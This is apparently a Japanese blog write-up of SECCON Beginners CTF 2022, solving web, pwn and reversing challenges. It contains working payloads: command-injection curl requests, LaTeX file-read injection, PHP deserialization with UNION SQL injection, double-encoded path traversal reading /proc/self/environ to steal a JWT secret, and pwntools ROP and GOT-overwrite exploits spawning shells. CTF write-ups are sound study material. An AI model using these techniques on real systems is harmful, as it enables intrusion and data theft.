Satoooonの物置

雑多に色々と何かをしている

SECCON Beginners CTF 2022 Writeup

SECCON Beginners CTF 2022 に出場して891チーム中7位でした。解けた問題について解説をしていきます。

web

Util [beginner, 460 solves]

Webサーバーのソースコードが与えられます。フラグはサーバー内のファイルにあるようです。

package main

import (
    "os/exec"

    "github.com/gin-gonic/gin"
)

type IP struct {
    Address string `json:"address"`
}

func main() {
    r := gin.Default()

    r.LoadHTMLGlob("pages/*")

    r.GET("/", func(c *gin.Context) {
        c.HTML(200, "index.html", nil)
    })

    r.POST("/util/ping", func(c *gin.Context) {
        var param IP
        if err := c.Bind(&param); err != nil {
            c.JSON(400, gin.H{"message": "Invalid parameter"})
            return
        }

        commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
        result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

        c.JSON(200, gin.H{
            "result": string(result),
        })
    })

    if err := r.Run(); err != nil {
        panic(err)
    }
}

pingコマンドを実行できるエンドポイントがありますが、ここにOS Command Injectionがあります。

commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"

param.Addressは操作できるので任意コード実行が可能ですね。 param.Addressに; ls ../が入るようにリクエストを送ると、commndはこのようになります。

commnd := "ping -c 1 -W 1 ; ls ../ 1>&2"

;でコマンドを区切らせて実行させることで、好きなコードが実行できるようになります。 直接ブラウザから; ls ../を入力しようとしてもHTML側のバリデーションに弾かれるので直接APIにリクエストするかバリデーションを消すかしましょう。このようなリクエストを送ってみます。

$ curl -X POST -H 'Content-Type:application/json' -d '{"address": "; ls ../"}' https://util.quals.beginners.seccon.jp/util/ping
{"result":"BusyBox v1.33.1 () multi-call binary...Payload pattern\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}

フラグのファイル名がflag_A74FIBkN9sELAjOc.txtであることがわかりました。これをcatすればフラグが手に入ります。

curl -X POST -H 'Content-Type:application/json' -d '{"address": "; cat ../flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping
{"result":"BusyBox v1.33.1 () multi-call binary....Payload pattern\nctf4b{al1_0vers_4re_i1l}\n"}

ctf4b{al1_0vers_4re_i1l}

textex [easy, 123 solves]

texコンパイルしてpdfを出力してくれるWebサービスソースコードが与えられます。フラグはflagファイルにあります。

主な処理はtex2pdf関数で実装されています。flagという文字列が入っているtexコンパイルできないようになっていますね。texコンパイルにはpdflatexを使っているようです。

def tex2pdf(tex_code) -> str:
    # Generate random file name.
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
    # Create a working directory.
    os.makedirs(f"tex_box/{filename}", exist_ok=True)
    # .tex -> .pdf
    try:
        # No flag !!!!
        if "flag" in tex_code.lower():
            tex_code = ""
        # Write tex code to file.
        with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
            f.write(tex_code)
        # Create pdf from tex.
        subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
    except:
        pass
    if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
        # OMG error ;(
        shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
    return f"{filename}"

LateX Injectionという攻撃方法をどこかで聞いたことがあったので、検索してみます。(Latex Injection自体を知らなくとも、latex CTFlatex vulnerabilityで検索すると出てくると思います)

検索に出てきたHacking with LaTeXを参考にしていきます。記事によると、\inputを使うことで任意のファイルをtexファイルにincludeできるようです。このようなtexを送ればapp.pyを表示できるはずです。

\documentclass{article}
\begin{document}

\input{app.py}

\end{document}

しかし、これを送信するとエラーになります。他のファイルを試してもエラーになるので困りました。親切にもDocker環境まで配られているため、ローカルで実行してデバッグしましょう。

Dockerのログを見ると、気になる部分がありました。

! Missing $ inserted.

<inserted text> 

                $

l.7 from flask import Flask, request, send_

                                           file, render_template

$が入っていないエラーで落ちているようです。見ると、_で不自然にエラー文が区切られているので_がエラーの原因みたいですね。つまり\inputでincludeしたファイルがLaTeXの文法に合っていないのが原因です。

どうするとLaTeXに文法エラーを起こすことなくファイルを読み込めるのでしょうか。検索力がなく割と時間がかかりましたが、latex include raw text fileで検索するとIncluding a file verbatim in LaTeXという記事が見つかります。

この記事では\verbatiminputを使えばよいと書いてあります。やってみましょう。

\documentclass{article}
\usepackage{verbatim}

\begin{document}

\verbatiminput{app.py}

\end{document}

送信すると、問題無くapp.pyが入ったPDFが出力されました。あとはflagファイルを読み込むだけですね。flagという文字列が制限されていますが、これはマクロを使えばチェックを回避できます。このようなLaTeXソースコードを送るとフラグが出力されます。

\documentclass{article}
\usepackage{verbatim}

\newcommand{\fl}{fl}
\newcommand{\ag}{ag}

\begin{document}

\verbatiminput{\fl\ag}

\end{document}

ctf4b{15_73x_pr0n0unc3d_ch0u?}

galley [easy, 156 solves]

JPEG/GIF/PNGを選択して画像がダウンロードできるWebサービスが与えられます。例えば、https://gallery.quals.beginners.seccon.jp/?file_extension=jpeg のようなURLにアクセスすると.jpegファイルの一覧がブラウザに表示されます。

フラグの位置は明確にされていませんが、ソースコードを読むとfile_extensionからflagという文字列を消去している処理があるので、恐らく画像フォルダの中にflagを含むファイルがあるのでしょう。

func IndexHandler(w http.ResponseWriter, r *http.Request) {
    t, err := template.New("index.html").ParseFiles("./static/index.html")
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        log.Println(err)
        return
    }

    // replace suspicious chracters
    fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
    fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
    if fileExtension == "" {
        fileExtension = "jpeg"
    }
    log.Println(fileExtension)

    data := Embed{}
    data.ImageList, err = getImageList(fileExtension)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        log.Println(err)
        return
    }

    if err := t.Execute(w, data); err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        log.Println(err)
        return
    }
}

さて、/?file_extension=flagとしてもflagを消去する制限があるのでフラグを見つけることができません。

送信内容の制限を文字列の削除で行う場合は、再帰的に削除をしていないとbypassが可能です。つまり、flflagagという文字列を送るとflagを削除してもflagという文字列が残るのでこの問題もbypassが可能です。

/?file_extension=flflagagにアクセスするとflag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfというファイルを見つけることができます。

しかし、ダウンロードしようとしても????...という文字列が送られるのみで内容がわかりません。これはレスポンスのサイズを制限する処理があるからです。

func (w *MyResponseWriter) Write(data []byte) (int, error) {
    filledVal := []byte("?")

    length := len(data)
    if length > w.lengthLimit {
        w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
        return length, nil
    }

    w.ResponseWriter.Write(data[:length])
    return length, nil
}
func middleware() func(http.Handler) http.Handler {
    return func(h http.Handler) http.Handler {
        return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
            h.ServeHTTP(&MyResponseWriter{
                ResponseWriter: rw,
                lengthLimit:    10240, // SUPER SECURE THRESHOLD
            }, r)
        })
    }
}

このように、10240byteを超えるレスポンスは???...が返されるようになっています。このようなときに思い出されるのがCakeCTF 2021 telepathyで、この問題ではRange Headerを使いフィルタを回避しました。その問題も確かGolang製のサーバーだったので、この問題のサーバーもRange Headerに対応しているのではないでしょうか?このようなリクエストを送ってみます。

curl -H 'Range: bytes=1-10240' https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output flag1

送信すると、問題無く前半10240byte分のPDFがflag1に保存されました。これをPDFの終端が見えるまで繰り返し、catで結合することでPDFを復元できます。

ctf4b{r4nge_reque5t_1s_u5efu1!}

3rd bloodでした。

serial [medium, 83 solves]

メモ帳サービスが与えられます。(ユーザー登録処理があるのになぜかメモは全員で共有です) フラグはflagsテーブルの中です。

findUserByName関数にSQL Injection脆弱性があります。$user->nameを操作できれば勝ちみたいですね。

    /**
     * findUserByName finds a user from database by given userId.
     * 
     * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
     */
    public function findUserByName($user = null)
    {
        if (!isset($user->name)) {
            throw new Exception('invalid user name: ' . $user->user);
        }

        $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
        $result = $this->_con->query($sql);
        if (!$result) {
            throw new Exception('failed query for findUserByNameOld ' . $sql);
        }

        while ($row = $result->fetch_assoc()) {
            $user = new User($row['id'], $row['name'], $row['password_hash']);
        }
        return $user;
    }

この関数はユーザー登録とログインの処理で使われているのですが、Userの生成時にSQL Injectionが起こらないよう置換処理が行われています。登録処理ではSQL Injectionできません。

class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }
    ...
}

ソースコードを見ると、ユーザー登録時に__CREDというCookieにUserクラスをserializeして保存され、ログインの確認時にunserializeされて復元されることがわかります。この処理はinsecure deserializationの脆弱性を持つので、__CREDに保存されているUserクラスの情報を改造して$user->nameを上書きすればUser生成時の制限を無視してUserを作れますね。

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

通常の__CREDは以下の様になります。(base64 decode済)

O:4:"User":3:{s:2:"id";s:2:"12";s:4:"name";s:1:"a";s:13:"password_hash";s:60:"$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6";}

これをこのように上書きします。

O:4:"User":3:{s:2:"id";s:4:"3629";s:4:"name";s:103:"' UNION SELECT 3629,body,"$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6" FROM flags; -- ";s:13:"password_hash";s:60:"$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6";}

base64したあとCookieにセットし再読み込みすると、UNION句を使ったSQLiが発火してフラグを含んだ__CREDが送信されるので、Cookieを見ればフラグが得られます。

ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}

IronHand [medium, 42 solves]

ユーザー登録処理があるサービスとソースコードが与えられます。JWTのis_adminがTrueになればフラグが手に入るようなので、JWTの改ざんが目標です。

   e.GET("/", func(c echo.Context) error {
        cookie, err := c.Cookie("JWT_KEY")
        if err != nil {
            return c.Redirect(http.StatusFound, "/login")
        }
        token, err := jwt.ParseWithClaims(cookie.Value, &UserClaims{}, func(token *jwt.Token) (interface{}, error) {
            secretKey := os.Getenv("JWT_SECRET_KEY")
            return []byte(secretKey), nil
        })
        if err != nil {
            return c.String(http.StatusBadRequest, "invalid session")
        }
        claims := token.Claims.(*UserClaims)
        // If you are admin, you can get FLAG
        if claims.IsAdmin {
            res, _ := http.Get("http://secret")
            flag, _ := ioutil.ReadAll(res.Body)
            if err := res.Body.Close(); err != nil {
                return c.String(http.StatusInternalServerError, "Internal Server Error")
            }
            return c.Render(http.StatusOK, "admin", map[string]interface{}{
                "username": claims.Username,
                "flag":     string(flag),
            })
        }
        return c.Render(http.StatusOK, "user", claims.Username)
    })
...
    e.GET("/static/:file", func(c echo.Context) error {
        path, _ := url.QueryUnescape(c.Param("file"))
        f, err := ioutil.ReadFile("static/" + path)
        if err != nil {
            return c.String(http.StatusNotFound, "No such file")
        }
        return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
    })

ぱっと見/static/:file/がPath Traversalを持っていて怪しそうですね。試しにこのようなリクエストを送ってみます。

$ curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static/../../../../../../../../../etc/passwd
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.21.6</center>
</body>
</html>

nginxに弾かれました。../で弾いてるように見えるので何かbypassはないか探すと、url.QueryUnescape(c.Param("file"))が怪しく見えます。今日日URLのunescapeなんてフレームワーク側でやってくれている場合がほとんどな気がするのでわざわざunescapeする必要を感じません。(これは今回は微妙に嘘で、後で検証したところechoはなぜか%25のみをunescapeするようなので完全にunescapeをサポートしているわけではないらしいです)

フレームワークと処理で二重unescape起きてるだろ!ということでこのようなリクエストを送ります。

$ curl https://ironhand.quals.beginners.seccon.jp/static/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

ビンゴです。これで任意ファイルが読めるようになりました。

目標はJWTの改竄ですが、JWT_SECRET_KEY環境変数に格納されているのでファイルが読めても環境変数は読めないので意味ないじゃないか!となるかもしれません。

/proc/self/environを知っていますか?私は知っています。

このファイルの存在を検索で知るのは難しいと思いますが、CTFではプロセスに関する情報が格納されている/procフォルダはよく悪用利用されます。このファイルは自身のプロセスの環境変数が格納されているので、これを読みましょう。\x00区切りであることに気を付けてください。(1敗)

❯ curl https://ironhand.quals.beginners.seccon.jp/static/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fproc%252Fself%252Fenviron --output - | hexdump -C
...
00000010  38 32 37 34 39 00 4a 57  54 5f 53 45 43 52 45 54  |82749.JWT_SECRET|
00000020  5f 4b 45 59 3d 55 36 68  48 46 5a 45 7a 59 47 77  |_KEY=U6hHFZEzYGw|
00000030  4c 45 65 7a 57 48 4d 6a  66 33 51 4d 38 33 56 6e  |LEezWHMjf3QM83Vn|
00000040  32 44 31 33 64 00 53 48  4c 56 4c 3d 31 00 48 4f  |2D13d.SHLVL=1.HO|
00000050  4d 45 3d 2f 68 6f 6d 65  2f 61 70 70 75 73 65 72  |ME=/home/appuser|
...

JWT_SECRET_KEYU6hHFZEzYGwLEezWHMjf3QM83Vn2D13dであることがわかりました。あとは jwt.io でis_admin: trueにしたJWTを作ってCookieに設定すると、フラグが得られます。

ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}

2rd bloodでした。\x00の区切りを忘れてSHLVLをkeyに入れるミスをしなければ1st blood取れてたはずで、悔しいですね。

pwnable

Beginners Bof [beginner, 155 solves]

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x10

void win() {
    char buf[0x100];
    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1)
        err(1, "Flag file not found...\n");
    write(1, buf, read(fd, buf, sizeof(buf)));
    close(fd);
}

int main() {
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

関数の処理が終わった際に戻る呼び出し元のアドレスはリターンアドレスと呼ばれていて、スタックに格納されています。BUFSIZEを超えて入力を読み込んでしまうBuffer Over Flowの脆弱性があるので、リターンアドレスを書き替えてwinに飛ばせばフラグが得られます。詳しくはスタックフレームの仕組みを調べるとよいです。

また、win関数に飛ばす際にretを挟むことでスタックをalignします。これも「x64 アライメント」で検索するとよいです。(ここで色々説明するには余白が狭すぎる)

from pwn import *
import sys

context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./chall"

nc = "nc beginnersbof.quals.beginners.seccon.jp 9000"

chall = ELF(file)

io = get_io()

io.sendline("1000")

payload = b"A" * 0x28
payload += p64(0x000000000040101a)  # ret gadget
payload += p64(chall.sym["win"])

io.sendline(payload)

io.interactive()

ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

raindrop [easy, 52 solves]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 5; i++) {
        unsigned long *p = &((unsigned long*)ptr)[i];
        printf(" %06d | 0x%016lx ", i, *p);
        if (p == ptr)
            printf(" <- buf");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
            printf(" <- saved rbp");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    help();
    alarm(60);
}

stack dumpのsaved rbpからbuf addrが計算できるのでROPでsystem("/bin/sh")します。スタックをalignするためにsystem@pltでなくcall systemに飛ばしてリターンアドレスを積ませることでalignしています。

io = get_io()

io.recvuntil("000002 | 0x")
buf = int(io.readline().split()[0], 16) - 0x20

pop_rdi = 0x0000000000401453
ret = 0x000000000040101a
call_system = 0x004011e5

payload = b"/bin/sh\x00"
payload += b"A" * 0x10
payload += p64(pop_rdi)
payload += p64(buf)
payload += p64(call_system)

io.sendline(payload)

io.interactive()

ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}

競技中はstack dumpを全く見てなかったのでrbpをBSSに飛ばしてsystem("/bin/sh")しました。ヒントはちゃんと見ましょうね...

競技中に書いたコード:

io = get_io()

tmp = chall.bss() + 0x908

ret = 0x000000000040101a
pop_rdi = 0x0000000000401453
pop_rsi_r15 = 0x0000000000401451

payload = b"A" * 0x10
payload += p64(tmp)
payload += p64(0x00401246)
payload += p64(0)
payload += p64(chall.sym["vuln"])

io.send(payload)

payload = b"AAAAAAAA/bin/sh\x00"
payload += b"A" * (0x18 - len(payload))
payload += p64(pop_rdi)
payload += p64(tmp - 0x8)
payload += p64(chall.plt["system"])

io.sendline(payload)

io.interactive()

snowdrop [medium, 44 solves]

これでもうあの危険なone gadgetは使わせないよ!

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void show_stack(void *);

int main() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    gets(buf);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
...
}

__attribute__((constructor))
void init() {
...
}

raindropからsystemが消えてstatic linkになりました。これでone gadgetが使えなくなっただろ!ということらしいですが、ROP gadgetはいくらでもあるのでexecve("/bin/sh", NULL, NULL)します。

io = get_io()

io.recvuntil("000006 | 0x")
buf = int(io.readline(), 16) - 0x268


pop_rdi = 0x0000000000401b84
pop_rsi = 0x000000000040a29e
pop_rdx = 0x00000000004017cf
pop_rax = 0x000000000044b5f7
syscall = 0x00000000004011fe

payload = b"/bin/sh\x00"
payload += b"A" * 0x10
payload += p64(pop_rdi)
payload += p64(buf)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)


io.sendline(payload)

io.interactive()

ctf4b{h1ghw4y_t0_5h3ll}

www.youtube.com

simplelist [medium, 32 solves]

#define DEBUG 1

#include "list.h"


int read_int() {
    char buf[0x10];
    buf[read(0, buf, 0xf)] = 0;

    return atoi(buf);
}

void create() {
    Memo* e = malloc(sizeof(Memo)) ;
#if DEBUG
    printf("[debug] new memo allocated at %p\n", e);
#endif
    if (e == NULL)
        err(1, "%s\n", strerror(errno));

    printf("Content: ");
    gets(e->content);
    e->next = NULL;
    list_add(e);
}

void edit() {
    printf("index: ");
    int index = read_int();
    
    Memo *e = list_nth(index);
    
    if (e == NULL) {
        puts("Not found...");
        return;
    }

#if DEBUG
    printf("[debug] editing memo at %p\n", e);
#endif
    printf("Old content: ");
    puts(e->content);
    printf("New content: ");
    gets(e->content);
}

void show() {
    Memo *e = memo_list;
    if (e == NULL) {
        puts("List empty");
        return;
    }
    puts("\nList of current memos");
    puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-");
    for (int i = 0; e != NULL; e = e->next) {
#if DEBUG
        printf("[debug] memo_list[%d](%p)->content(%p) %s\n", i, e, e->content, e->content);
        printf("[debug] next(%p): %p\n", &e->next, e->next);
#else
        printf("memo_list[%d] %s\n", i, e->content);
#endif
        i++;
    }
    puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\n");
}

void menu() {
...
}

int main() {
    puts("Welcome to memo organizer");
    menu();
    printf("> ");
    int cmd = read_int();
    while (1) {
        switch (cmd) {
            case 1:
                create();
                break;
            case 2:
                edit();
                break;
            case 3:
                show();
                break;
            case 4:
                puts("bye!");
                exit(0);
            default:
                puts("Invalid command");
                break;
        }
        menu();
        printf("> ");
        cmd = read_int();
    }
}

__attribute__((constructor))
void init() {
...
}

list.h (抜粋)

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

単方向リストを操作できるプログラムです。createとeditにgetsで自明なHeap-based Buffer Over Flowがあるので、Memo->nextをGOTに向けてlibc leakした後にatoi@gotを書き替えてsystem("/bin/sh")します。

io = get_io()

def create(s):
    io.sendlineafter("> ", "1")
    addr = int(io.readline().split()[-1][2:], 16)
    io.sendlineafter("Content: ", s)
    return addr

def edit(idx, s):
    io.sendlineafter("> ", "2")
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("New content: ", s)

m1 = create("hoge")
m2 = create("fuga")
edit(0, b"A" * 0x28 + p64(0x4036c8))

io.sendlineafter("> ", "3")
io.recvuntil("0x4036d0) ")
libc.address = u64(io.recvline().strip().ljust(8, b"\x00")) - 0x1e36c0
log.info(f"libc: {libc.address:x}")

edit(0, b"A" * 0x28 + p64(chall.got["atoi"]-0x8))

edit(2, p64(libc.sym["system"]+0x2000))

io.sendlineafter("> ", "/bin/sh")

io.interactive()

ctf4b{W3lc0m3_t0_th3_jungl3}

Monkey Heap (未解決) [hard, 3solves]

unsorted binとにらめっこして終わりました。

large bin attackを履修します...

reversing

Quiz [beginner, 650 solves]

バイナリを実行するとクイズが始まります。

❯ ./quiz
Welcome, it's time for the binary quiz!
ようこそ、バイナリクイズの時間です!

Q1. What is the executable file's format used in Linux called?
    Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか?
    1) ELM  2) ELF  3) ELR
Answer : 2
Correct!

Q2. What is system call number 59 on 64-bit Linux?
    64bit Linuxにおけるシステムコール番号59はなんでしょうか?
    1) execve  2) folk  3) open
Answer : 1
Correct!

Q3. Which command is used to extract the readable strings contained in the file?
    ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか?
    1) file  2) strings  3) readelf
Answer : 2
Correct!

Q4. What is flag?
    フラグはなんでしょうか?
Answer : hoge
flag length must be 46.

誘導のとおりstringsを使うとフラグが得られます。

❯ strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS [easy, 102 solves]

exeが渡されます。Ghidraで"Correct flag!"から処理を追うと、二つのスレッドで色々してる処理を見つけました。

GetWindowTextA(hFlag,(LPSTR)input,0x100);
thread1 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,t1,input,0,&local_24);
thread2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,t2,input,0,&local_24);
WaitForSingleObject(thread1,0xffffffff);
WaitForSingleObject(thread2,0xffffffff);
GetExitCodeThread(thread1,&exitcode1);
GetExitCodeThread(thread1,&exitcode2);
CloseHandle(thread1);
CloseHandle(thread2);
if ((exitcode1 == 0) && (exitcode2 == 0)) {
    MessageBoxA((HWND)0x0,"Correct flag!","DOPE",0x40);
}
else {
    MessageBoxA((HWND)0x0,"Wrong flag...","NOPE",0x10);
}

t1,t2は関数です。t1はこのようになっています

void t1(char *input) {
  ...
  TlsSetValue(TLS,"c4{fAPu8#FHh2+0cyo8$SWJH3a8X");
  for (i = 0; (i < 0x100 && (c = input[(int)i], c != '\0')); i = i + 1) {
    if (((int)i % 3 == 0) || ((int)i % 5 == 0)) {
      prev_cnt = (longlong)cnt;
      cnt = cnt + 1;
      *(char *)((longlong)&buf + prev_cnt) = c;
    }
  }
  *(undefined *)((longlong)&buf + (longlong)cnt) = 0;
  check((char *)&buf);
  return;
}

bool check(char *input) {
  int iVar1;
  char *_Str1;
  
  _Str1 = (char *)TlsGetValue(TLS);
  iVar1 = strncmp(_Str1,input,0x100);
  return iVar1 != 0;
}

3の倍数と5の倍数の位置にある文字を抜き出してTLS(?)に格納されてる値と一致しているかチェックしています。t2はその逆でした。

TLSの文字列を抜き出してそれぞれ取っていけばよいです。

enc1 = list("c4{fAPu8#FHh2+0cyo8$SWJH3a8X")
enc2 = list("tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}")

s = ""
for i in range(len(enc1) + len(enc2)):
    if i % 3 == 0 or i % 5 == 0:
        s += enc1[0]
        enc1 = enc1[1:]
    else:
        s += enc2[0]
        enc2 = enc2[1:]
    print(s)

ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

Recursive [easy, 127 solves]

フラグチェッカが渡されるので、適当にGhidraで解析します。

undefined8 check(char *input,int depth) {
  int input_len;
  int size;
  size_t sVar1;
  char *buf;
  undefined8 uVar2;
  
  sVar1 = strlen(input);
  input_len = (int)sVar1;
  if (input_len == 1) {
    if (table[depth] != *input) {
      return 1;
    }
  }
  else {
    size = input_len / 2;
    buf = (char *)malloc((long)size);
    strncpy(buf,input,(long)size);
    uVar2 = check(buf,depth);
    if ((int)uVar2 == 1) {
      return 1;
    }
    buf = (char *)malloc((long)(input_len - size));
    strncpy(buf,input + size,(long)(input_len - size));
    uVar2 = check(buf,size * size + depth);
    if ((int)uVar2 == 1) {
      return 1;
    }
  }
  return 0;
}

再帰関数でcheckをしていますが、input_len==1のときにbreakpointを置けば平文が得られそうです。練習がてらgdb scriptを書いて解いてみました。

import gdb

gdb.execute("b *check+63")
gdb.execute("r")

# 0123456789abcdefghijABCDEFGHIJ!"#$%&'(

s = ""
for i in range(38):
    a = gdb.execute("p $dl", to_string=True)
    s += chr(int(a.split()[-1]))
    gdb.execute("set $al=$dl", to_string=True)
    gdb.execute("c")

print(s)
❯ gdb -x ./solve.py ./recursive
...
FLAG: 0123456789abcdefghijABCDEFGHIJ!"#$%&'(
...
Breakpoint 1, 0x00005555555552bf in check ()

Breakpoint 1, 0x00005555555552bf in check ()
...
Correct!
[Inferior 1 (process 2028) exited normally]
ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

Ransom [medium, 61 solves]

バイナリとpcapと暗号化されたファイルが渡されます。 Ghidraで見ると、ランダムに鍵を生成して暗号化したあと外部に鍵を送信するような処理をしていました。 鍵はpcapファイルから取れるので後は暗号化を解くだけなんですが、最初に書いた復号プログラムにバグがあり沼りそうな気配を感じたので別の方法を取りました。

復号処理を確認すると、鍵のみからテーブルを生成し、テーブルと入力をXORするという単純なものだったのでもう一回同じ鍵で暗号化すれば平文が得られます。鍵はrand関数で生成されていたので、rand関数をpcapされた鍵を生成するように上書きした共有ライブラリを作り、LD_PRELOADで割り込ませてもう一回同じ鍵で復号します。

int call_count = -1;
int token_index[0x10] = {27, 16, 56, 36, 31, 31, 34, 15, 34, 36, 25, 49, 51, 40, 60, 16};

void srand(int i) {
    return;
}

int rand(void) {
    call_count += 1;
    return token_index[call_count];
}
❯ py -c 'open("ctf4b_super_secret.txt", "wb").write(bytes.fromhex(open("ctf4b_super_secret.txt.lock", "r").read().replace(
"\\x", "")))'
❯ gcc -fPIC -shared -o hoge.so hoge.c
❯ LD_PRELOAD=./hoge.so ./ransom
^C
❯ py -c 'print(bytes.fromhex(open("ctf4b_super_secret.txt.lock", "r").read().replace("\\x", "")))'
b'ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}\n'

ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

please_not_debug_me [hard, 48 solves]

